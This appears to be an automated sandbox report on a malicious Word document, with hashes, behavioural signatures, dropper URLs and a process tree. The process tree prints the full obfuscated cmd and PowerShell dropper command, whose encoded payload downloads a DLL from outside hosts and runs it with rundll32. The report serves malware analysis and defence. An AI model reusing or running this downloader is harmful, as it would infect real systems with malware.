Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-01-2021 00:07

General

  • Target

    UNTITLED_20210113_042087.doc

  • Size

    156KB

  • MD5

    5139780280d0f70237282c051636f5da

  • SHA1

    2bc56221cae38470dcb519ce993283be4246b6df

  • SHA256

    45e1f8d0848560bf3b1d4630d8a02853bdf6eb8e9346da9baf9c04562281f9ef

  • SHA512

    f123c04f5b7978e04dc7ba46da318f0d3b8d9f2cb623a71a6c18ffb5eebf36bcab29a85f6af0e72453b40849b57d4b2764c952fe4da085b39294cd3365ea56b2

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://baselinealameda.com/j/uoB/

exe.dropper

http://abdindash.xyz/b/Yonhx/

exe.dropper

https://cavallarigutters.com/samsung-chromebook-etswp/Wdeiub/

exe.dropper

https://craku.tech/h/iXbreOs/

exe.dropper

https://nicoblogroms.com/c/V9w0b5/

exe.dropper

https://www.taradhuay.com/d/oT5uG/

exe.dropper

https://altcomconstruction.com/wp-includes/or7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\UNTITLED_20210113_042087.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:980
  • C:\Windows\system32\cmd.exe
    cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of WriteProcessMemory
    PID:188
    • C:\Windows\system32\msg.exe
      msg Admin /v Word experienced an error trying to open the file.
      2⤵
        PID:1964
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -w hidden -enc IABTAGUAVAAtAEkAdABlAE0AIAAgAHYAQQByAEkAQQBCAEwAZQA6ADMANgA1ACAAKABbAFQAeQBwAGUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAtAEYAJwAuAGkAJwAsACcAUwB5ACcALAAnAHQAbwAnACwAJwBzAFQAZQBtACcALAAnAFIAWQAnACwAJwBPAC4ARABJAHIAZQBDACcAKQApACAAOwAgACQARAA2ADkAMgB3ACAAPQAgACAAWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMAB9AHsAOAB9AHsANwB9AHsANQB9AHsAMQB9AHsAMgB9AHsANgB9AHsANAB9ACIAIAAtAGYAJwB5ACcALAAnAEMAJwAsACcARQBwAE8AJwAsACcAUwAnACwAJwByACcALAAnAEUAUgBWAEkAJwAsACcAaQBOAHQATQBBAG4AQQBnAGUAJwAsACcAUwAnACwAJwBTAHQARQBNAC4AbgBFAFQALgAnACkAIAA7ACAAJABWAGYANQBhAHMAaQByAD0AJABFADMAMABMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAArACAAJABBADEAOABFADsAJABXADkANQBSAD0AKAAoACcARQA3ACcAKwAnADMAJwApACsAJwBMACcAKQA7ACAAIAAoAHYAQQBSAEkAYQBCAGwAZQAgADMANgA1ACkALgB2AGEAbABVAEUAOgA6ACIAQwBgAFIAZQBBAGAAVABgAGUAZABJAFIAZQBDAHQAbwBgAFIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAdQBHACcAKwAnAE4ATQAnACkAKwAoACcAdgAnACsAJwA4AF8AJwApACsAJwBuACcAKwAoACcAawA3ACcAKwAnAHUARwAnACsAJwBOAEgAXwAnACsAJwBpADQAYgB4ACcAKQArACgAJwBxAHUARwAnACsAJwBOACcAKQApAC4AIgBSAEUAcABsAGAAQQBgAGMARQAiACgAKAAnAHUARwAnACsAJwBOACcAKQAsACcAXAAnACkAKQApADsAJABTAF8ANABCAD0AKAAnAEYANwAnACsAJwAxAEUAJwApADsAIAAgACgAIAAgAGcARQB0AC0AQwBoAEkAbABEAGkAdABFAE0AIAAgACgAIgBWAEEAIgArACIAUgBJAGEAIgArACIAYgBsAGUAOgBkADYAOQAyAFcAIgApACAAIAApAC4AVgBhAEwAVQBFADoAOgAiAFMAZQBgAGMAVQBgAFIAaQBUAFkAUABSAE8AYABUAG8AYABjAG8ATAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKQA7ACQATAAzADgAUAA9ACgAJwBIADUAJwArACcAMQBMACcAKQA7ACQASQBtAGEANgBhAG8ANQAgAD0AIAAoACcATwAzACcAKwAnADAAQQAnACkAOwAkAEQANQA3AEkAPQAoACcARgAwACcAKwAnADMARwAnACkAOwAkAEsAYwBpADgANAB4ADAAPQAkAEgATwBNAEUAKwAoACgAKAAnAHIAaAAnACsAJwAyACcAKQArACgAJwBNACcAKwAnAHYAOAAnACkAKwAnAF8AJwArACgAJwBuAGsANwByAGgAMgAnACsAJwBIAF8AaQAnACkAKwAoACcANABiACcAKwAnAHgAJwApACsAKAAnAHEAcgBoACcAKwAnADIAJwApACkALgAiAHIAZQBQAGAAbABBAGMAZQAiACgAKAAnAHIAJwArACcAaAAyACcAKQAsACcAXAAnACkAKQArACQASQBtAGEANgBhAG8ANQArACgAJwAuACcAKwAoACcAZAAnACsAJwBsAGwAJwApACkAOwAkAEYAMAA5AFoAPQAoACcATABfACcAKwAnADcARAAnACkAOwAkAFcAZgAwAGcANAB3ADYAPQAoACgAJwB3ACcAKwAnAF0AeABtAFsAJwApACsAKAAnAHYAJwArACcAOgAvACcAKQArACcALwAnACsAKAAnAGIAYQBzAGUAJwArACcAbAAnACkAKwAnAGkAJwArACgAJwBuACcAKwAnAGUAYQAnACkAKwAoACcAbABhAG0AZQAnACsAJwBkAGEALgAnACsAJwBjAG8AbQAnACkAKwAoACcALwBqACcAKwAnAC8AdQBvAEIALwBAAHcAXQB4ACcAKwAnAG0AWwB2ACcAKwAnADoALwAvACcAKwAnAGEAJwApACsAKAAnAGIAZABpACcAKwAnAG4AZAAnACkAKwAoACcAYQAnACsAJwBzAGgALgAnACkAKwAoACcAeAAnACsAJwB5AHoAJwApACsAJwAvACcAKwAoACcAYgAnACsAJwAvAFkAJwApACsAKAAnAG8AbgBoAHgALwBAACcAKwAnAHcAJwArACcAXQAnACkAKwAoACcAeAAnACsAJwBtAFsAdgAnACsAJwBzADoALwAvAGMAJwArACcAYQAnACkAKwAoACcAdgBhAGwAbABhAHIAJwArACcAaQBnAHUAJwArACcAdAB0AGUAJwApACsAKAAnAHIAcwAuACcAKwAnAGMAbwBtACcAKQArACgAJwAvAHMAYQAnACsAJwBtAHMAdQAnACkAKwAoACcAbgBnAC0AJwArACcAYwAnACkAKwAoACcAaAByAG8AbQBlAGIAbwAnACsAJwBvAGsAJwArACcALQAnACsAJwBlAHQAcwAnACsAJwB3AHAAJwArACcALwAnACkAKwAoACcAVwBkAGUAJwArACcAaQB1AGIAJwApACsAJwAvACcAKwAoACcAQAAnACsAJwB3AF0AJwApACsAKAAnAHgAbQAnACsAJwBbAHYAcwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwByACcAKwAnAGEAawB1AC4AJwArACcAdABlAGMAaAAvAGgAJwApACsAKAAnAC8AaQAnACsAJwBYAGIAcgAnACsAJwBlAE8AJwApACsAJwBzAC8AJwArACgAJwBAAHcAJwArACcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvAC8AbgBpACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAYgAnACsAJwBsAG8AZwByAG8AbQAnACkAKwAoACcAcwAuAGMAJwArACcAbwBtAC8AYwAvAFYAJwArACcAOQB3ADAAYgAnACkAKwAoACcANQAvAEAAdwBdAHgAJwArACcAbQAnACsAJwBbACcAKQArACgAJwB2ACcAKwAnAHMAOgAvACcAKQArACgAJwAvACcAKwAnAHcAdwAnACsAJwB3AC4AdABhACcAKQArACgAJwByACcAKwAnAGEAZAAnACkAKwAoACcAaAB1AGEAJwArACcAeQAnACkAKwAnAC4AJwArACgAJwBjAG8AbQAvACcAKwAnAGQAJwArACcALwBvAFQANQB1ACcAKwAnAEcALwAnACsAJwBAAHcAXQB4AG0AWwAnACkAKwAnAHYAJwArACcAcwA6ACcAKwAoACcALwAnACsAJwAvAGEAbAB0ACcAKwAnAGMAbwBtAGMAbwAnACsAJwBuACcAKQArACgAJwBzAHQAcgB1ACcAKwAnAGMAJwArACcAdAAnACkAKwAoACcAaQBvAG4ALgBjAG8AJwArACcAbQAnACsAJwAvACcAKQArACgAJwB3AHAAJwArACcALQBpAG4AYwBsACcAKQArACgAJwB1AGQAZQAnACsAJwBzAC8AJwApACsAKAAnAG8AJwArACcAcgA3ACcAKQArACcALwAnACkALgAiAFIAYABlAHAAbABhAEMAZQAiACgAKAAoACcAdwAnACsAJwBdAHgAJwApACsAJwBtAFsAJwArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAoACgAJwBkACcAKwAnAHMAZQB3ACcAKQArACcAZgAnACkALAAoACgAJwB3AGUAJwArACcAdgB3ACcAKQArACcAZQAnACkAKQAsACgAKAAnAGEAJwArACcAZQBmACcAKQArACcAZgAnACkALAAoACcAaAB0ACcAKwAnAHQAcAAnACkAKQBbADIAXQApAC4AIgBzAGAAUABMAGkAVAAiACgAJABSADEAMABXACAAKwAgACQAVgBmADUAYQBzAGkAcgAgACsAIAAkAFUANwA5AFoAKQA7ACQATgAyADQAUQA9ACgAJwBWACcAKwAoACcAXwA4ACcAKwAnAEMAJwApACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEMAXwA1AHoANwBqAHkAIABpAG4AIAAkAFcAZgAwAGcANAB3ADYAKQB7AHQAcgB5AHsAKAAmACgAJwBOAGUAdwAtACcAKwAnAE8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAFMAeQBTAFQARQBNAC4AbgBFAHQALgB3AEUAQgBjAGwASQBFAE4AVAApAC4AIgBkAE8AdwBgAE4ATABPAGEARABgAEYAaQBMAGUAIgAoACQAQwBfADUAegA3AGoAeQAsACAAJABLAGMAaQA4ADQAeAAwACkAOwAkAFAAXwA2AEMAPQAoACgAJwBLADcAJwArACcAMQAnACkAKwAnAEIAJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQAnACsAJwB0AC0ASQB0AGUAbQAnACkAIAAkAEsAYwBpADgANAB4ADAAKQAuACIATABlAG4ARwBgAFQASAAiACAALQBnAGUAIAA0ADkAOQA3ADIAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQASwBjAGkAOAA0AHgAMAAsACgAKAAnAFMAaABvAHcAJwArACcARABpACcAKQArACcAYQAnACsAJwBsACcAKwAoACcAbwAnACsAJwBnAEEAJwApACkALgAiAFQAbwBzAGAAVABgAFIASQBuAEcAIgAoACkAOwAkAFEAOAAyAFQAPQAoACcATwA5ACcAKwAnAF8ARwAnACkAOwBiAHIAZQBhAGsAOwAkAEMAMwA3AFoAPQAoACcATgAyACcAKwAnADgATwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEgANQA0AEgAPQAoACgAJwBPADkAJwArACcAMwAnACkAKwAnAFoAJwApAA==
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2876
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll,ShowDialogA
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4032
          • C:\Windows\SysWOW64\rundll32.exe
            "C:\Windows\system32\rundll32.exe" C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll,ShowDialogA
            4⤵
            • Loads dropped DLL
            • Drops file in System32 directory
            • Suspicious use of WriteProcessMemory
            PID:2116
            • C:\Windows\SysWOW64\rundll32.exe
              C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Bxbftpcjbpkskz\kfwqnfpemvbfl.wcc",ShowDialogA
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              PID:916

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
      MD5

      dd561f0bca189a5cff1b443665eb30c0

      SHA1

      e9fed5615cc1234abc3b81aa866997103725b566

      SHA256

      852cf215e8d3445d3d2c660ac793a7e38d4598f7ab97215ff8c7b55f4fbdb25f

      SHA512

      7670d1e2cf601435e725ef5a310f9e666debd9eced475d6c214391261bfd5ab556fdddfaf4f2e3ffe5b7de6756261947cb849c15bbb12e66492af6868e0d9096

    • \Users\Admin\Mv8_nk7\H_i4bxq\O30A.dll
      MD5

      dd561f0bca189a5cff1b443665eb30c0

      SHA1

      e9fed5615cc1234abc3b81aa866997103725b566

      SHA256

      852cf215e8d3445d3d2c660ac793a7e38d4598f7ab97215ff8c7b55f4fbdb25f

      SHA512

      7670d1e2cf601435e725ef5a310f9e666debd9eced475d6c214391261bfd5ab556fdddfaf4f2e3ffe5b7de6756261947cb849c15bbb12e66492af6868e0d9096

    • memory/916-12-0x0000000000000000-mapping.dmp
    • memory/980-2-0x00007FFA14410000-0x00007FFA14A47000-memory.dmp
      Filesize

      6.2MB

    • memory/1964-3-0x0000000000000000-mapping.dmp
    • memory/2116-10-0x0000000000000000-mapping.dmp
    • memory/2876-4-0x0000000000000000-mapping.dmp
    • memory/2876-5-0x00007FFA089A0000-0x00007FFA0938C000-memory.dmp
      Filesize

      9.9MB

    • memory/2876-6-0x000001EF15D70000-0x000001EF15D71000-memory.dmp
      Filesize

      4KB

    • memory/2876-7-0x000001EF2E2F0000-0x000001EF2E2F1000-memory.dmp
      Filesize

      4KB

    • memory/4032-8-0x0000000000000000-mapping.dmp